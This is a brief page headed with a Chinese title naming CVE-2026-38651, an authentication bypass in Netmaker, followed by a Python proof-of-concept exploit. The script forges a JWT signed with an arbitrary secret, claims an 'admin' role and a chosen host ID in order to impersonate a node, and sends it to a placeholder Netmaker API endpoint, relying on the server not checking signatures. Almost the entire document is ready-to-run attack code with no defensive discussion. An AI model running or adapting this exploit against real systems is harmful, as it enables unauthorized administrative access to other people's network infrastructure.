CVE-2026-38651 Netmaker认证绕过漏洞

import jwt import requests # Exploit for CVE-2026-38651: Netmaker JWT Signature Bypass # The server fails to verify the signature, so we can use any secret. target_url = "http://target-netmaker-url/api/v1/endpoint" # Example endpoint # Payload to impersonate a specific host/network node # Modify these values based on the target host you wish to impersonate payload = { "id": "target_host_id", # The ID of the host to impersonate "network": "target_network", "role": "admin" } # Generate token with a dummy secret (signature verification is skipped) fake_secret = "any_arbitrary_key" token = jwt.encode(payload, fake_secret, algorithm="HS256") headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Send request to bypass authentication try: response = requests.get(target_url, headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Error: {e}")